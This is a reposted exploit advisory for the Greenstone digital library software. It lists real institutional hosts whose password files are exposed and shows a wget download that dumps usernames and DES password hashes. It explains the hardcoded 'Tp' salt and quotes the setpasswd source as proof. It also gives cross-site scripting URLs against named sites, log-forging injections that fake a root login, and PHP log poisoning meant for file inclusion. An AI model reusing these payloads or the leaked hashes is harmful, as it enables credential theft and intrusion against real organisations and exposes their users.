Exploit Greenstone - Multiple Vulnerabilities

Exploiter · 21 Дек 2022

Greenstone - Multiple Vulnerabilities

Код:

source: https://www.securityfocus.com/bid/56662/info

Greenstone is prone to the following security vulnerabilities:

1. A file-disclosure vulnerability
2. A cross-site scripting vulnerability
3. A security weakness
4. A security-bypass vulnerability

Attackers can exploit these issues to view local files, bypass certain security restriction, steal cookie-based authentication, or execute arbitrary scripts in the context of the browser. 

=================Let's Roll============================


Password  file disclosure:

http://greenstone.flib.sci.am/gsdl/etc/users.gdb
http://greenstone.flib.sci.am/gsdl/etc/key.gdb
http://greenstone.martinique.univ-ag.fr/gsdl/etc/users.db
http://greenstone.martinique.univ-ag.fr/gsdl/etc/key.db

Example:
(P.S Password encryption: Des (Unix))
===================== Reproduce =====================
$ wget http://greenstone.flib.sci.am/gsdl/etc/users.gdb && cat users.gdb
--2012-11-22 17:04:39--  http://greenstone.flib.sci.am/gsdl/etc/users.gdb
Resolving greenstone.flib.sci.am (greenstone.flib.sci.am)... 93.187.162.197
Connecting to greenstone.flib.sci.am (greenstone.flib.sci.am)|93.187.162.197|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12926 (13K) [text/plain]
Saving to: `users.gdb'

100%[==========================================>] 12,926      31.8K/s   in 0.4s

2012-11-22 17:04:40 (31.8 KB/s) - `users.gdb' saved [12926/12926]
.......Some junk snip........
...                                admin<comment>created at install time
<enabled>true
<groups>administrator,colbuilder,all-collections-editor
<password>TpM5gyFpfCsLc
<username>admindemo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
<enabled>true
<groups>demo
<password>Tpp90HTz/jz9w
<username>demotatevik<comment>
<enabled>true
<groups>all-collections-editor
<password>Tpyq8s1oUIioc
<username>tatevik
azgayin<comment>
<enabled>true
<groups>all-collections-editor
<password>Tp53Vsj1qM4cE
<username>azgayin
demo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
<enabled>true
<groups>demo
<password>TpzWMQXVfKFvw
<username>demo

========================= END OF users.gbd============================


Known salt issuse (because this application uses "setpasswd" utility via 
hardcoded salt=>: Tp)
(Especially on windows systems)



================================BEGIN================================
/**********************************************************************
 *
 * setpasswd.cpp -- 
 * Copyright (C) 2000  The New Zealand Digital Library Project
 *
 * A component of the Greenstone digital library software
 * from the New Zealand Digital Library Project at the
 * University of Waikato, New Zealand.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 *********************************************************************/

// setpasswd is a windows application that can be used to encrypt a password
// and write it (along with its corresponding username) to a gdbm database.

// it handles writing to the gdbm database itself to avoid having to call
// the txt2db console application (and therefore avoiding the console
// window popping up when called from another windows application).

// note that setpasswd does no checking to make sure that any of it's
// input arguments are valid (or even reasonable) values.

// this program should be compiled into a binary called setpw.exe (to be
// short enough not to mess with 16 bit Windows platforms).

// usage:
// setpw -u username -p password -o output_gdbm_file

#include "text_t.h"
#include "crypt.h"
#include "autoconf.h"
#include "systems.h"
#include "gdbmconst.h"
#include "gdbm.h"

#include <windows.h>

text_t username;
text_t password;
text_t output_gdbm_file;

bool parse_cmdline (LPSTR cmdline) {

  bool in_quote = false;
  text_t arg;
  text_tarray args;
  unsigned char *c = (unsigned char *)cmdline;
  while (*c != '\0') {
    if (*c == '"') {
      if (!in_quote) {
  in_quote = true;
      } else {
  in_quote = false;
  if (!arg.empty()) args.push_back (arg);
  arg.clear();
      }
    } else if (*c == ' ' && !in_quote) {
      if (!arg.empty()) args.push_back (arg);
      arg.clear();
    } else {
      arg.push_back (*c);
    }
    ++c;
  }
  if (!arg.empty()) args.push_back (arg);
  
  text_tarray::const_iterator here = args.begin();
  text_tarray::const_iterator end = args.end();
  while (here != end) {
    if (*here == "-u" && (++here != end)) username = *here;
    else if (*here == "-p" && (++here != end)) password = *here;
    else if (*here == "-o" && (++here != end)) output_gdbm_file = *here;
    if (here != end) ++here;
  }
  if (username.empty() || password.empty() || output_gdbm_file.empty()) {
    MessageBox (NULL, "Usage:\n setpasswd -u username -p password -o output_gdbm_file", 
    "setpasswd failed", MB_OK);
    return false;
  }
  return true;
}

text_t crypt_text (const text_t &text) {
  static const char *salt = "Tp";
  text_t crypt_password;

  if (text.empty()) return "";

  // encrypt the password
  char *text_cstr = text.getcstr();
  if (text_cstr == NULL) return "";
  crypt_password = crypt(text_cstr, salt);
  delete []text_cstr;

  return crypt_password;
}

bool add_to_db () {

  int block_size = 0;
  GDBM_FILE dbf;
  char *dbname = output_gdbm_file.getcstr();

  // open the database
  int read_write = GDBM_WRCREAT;
  dbf = gdbm_open (dbname, block_size, read_write, 00664, NULL, 1);
  if (dbf == NULL) {
    MessageBox (NULL, "gdbm_open failed\n", "setpasswd", MB_OK);
    return false;
  }

  datum key_data;
  key_data.dptr = username.getcstr();
  if (key_data.dptr == NULL) {
    MessageBox (NULL, "null key_data\n", "setpasswd", MB_OK);
    return false;
  }
  key_data.dsize = strlen(key_data.dptr);

  text_t value = "<comment>\n";
  value += "<enabled>true\n";
  value += "<groups>administrator,colbuilder\n";
  value += "<password>" + password + "\n";
  value += "<username>" + username + "\n";
      
  datum value_data;
  value_data.dptr = value.getcstr();
  if (value_data.dptr == NULL) {
    MessageBox (NULL, "null value_data\n", "setpasswd", MB_OK);
    return false;
  }
  value_data.dsize = strlen(value_data.dptr);
      
  // store the value
  if (gdbm_store (dbf, key_data, value_data, GDBM_REPLACE) < 0) {
    MessageBox (NULL, "gdbm_store failed\n", "setpasswd", MB_OK);
    return false;
  }
  gdbm_close (dbf);

  delete []key_data.dptr;
  delete []value_data.dptr;
  delete []dbname;
  return true;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow) {

  // parse command line arguments
  if (!parse_cmdline (lpCmdLine)) return 1;

  // encrypt the password
  password = crypt_text (password);

  // append the password and username to database
  add_to_db();
  
  return 0;
}

============================================================

XSS:

site.tld/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=<script>alert("OwnEd");</script>
Demo: 
http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E

http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E%20%3E%3E%20greenstone.flib.greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E

http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=%22%3E%3Cscript%3Ealert%28%22Again%20Owned%22%29;%3C/script%3E&pr=7&c=AkaStep


============================================================



Log forging:

http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223"%0D%0A%0D%0AWarning: Accepted connection from unknown host to local port: 22 root logged in%29%0D%0A%0D%0A" cmd.exe


http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223%0D%0A%0D%0AError%20D:\Program%20Files\Greenstone\%20directory%20owned?%29%0D%0A%0D%0A


Forged log:  http://greenstone.unam.na/gsdl/etc/error.txt              (CTRL+F and search for:  host to local port: 22)

Example:

===================EXAMPLE OF =FORGED LOG====================
Error: the action "4?e="3"



Warning: Accepted connection from unknown host to local port: 22 root logged in)          <==Fake entry for Panic system administrator))))))



" cmd.exe" could not be found.

================END OF FORGED LOG=============

Log File Poisoning: (Usefull for LFI)
www.bibliotecamuseodelamemoria.cl/gsdl/cgi-bin/library.cgi?e=4?e="%0d%0a<?php phpinfo();?>%0d%0a%00%00

Poisoned Log can be found in the following places: 
site/gsdl/etc/error.txt
or 
site/etc/error.txt              (<=On Windows systems in ex i found it here)




Example of injected log:
==================================

http://greenstone.unam.na/gsdl/etc/error.txt


Error: the action "4?e="

<?php phpinfo();?>

.." could not be found.
==================================

******************** The End *******************

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Exploit Greenstone - Multiple Vulnerabilities

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